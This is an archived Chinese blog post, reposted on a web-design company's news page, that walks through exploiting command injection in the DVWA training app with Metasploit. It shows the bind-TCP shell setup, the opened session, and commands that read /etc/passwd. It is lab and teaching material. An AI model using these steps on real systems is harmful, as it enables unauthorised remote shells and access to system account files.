ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

【2014-04-27】使用metasploit来命令注入DVWA

【2014-04-27】使用metasploit来命令注入DVWA [历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-04-27 标题使用metasploit来命令注入DVWA分类操作系统 / 安全 标签DVWA·命令注入·metasploit使用metasploit来命令注入DVWA笔记仅供学习交流使用请勿进行其他用途当【 发现命令注入漏洞 】之后我们可以使用metaploit这个框架来利用这个漏洞。首先使用nc命令来打开端口然后我们启动metasploit然后输入下面的命令rootkali:~# msfconsole。。。。。 。。。。。 msfuse multi/handler msf exploit(handler)setPAYLOAD linux/x86/shell/bind_tcp PAYLOADlinux/x86/shell/bind_tcp msf exploit(handler)show options Module options(exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options(linux/x86/shell/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT4444yesThe listen port RHOST no The target address Exploit target: Id Name -- ----0Wildcard Target msf exploit(handler)setRHOST192.168.168.109 RHOST192.168.168.109 msf exploit(handler)exploit[*]Starting the payload handler...[*]Startedbindhandler[*]Sending stage(36bytes)to192.168.168.109[*]Command shell session1opened(192.168.168.104:35910 -192.168.168.109:4444)at2014-04-2718:23:07 0800iduid1(daemon)gid1(daemon)组1(daemon)whoamidaemoncat/etc/passwd 。。。。。 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 。。。。。
返回列表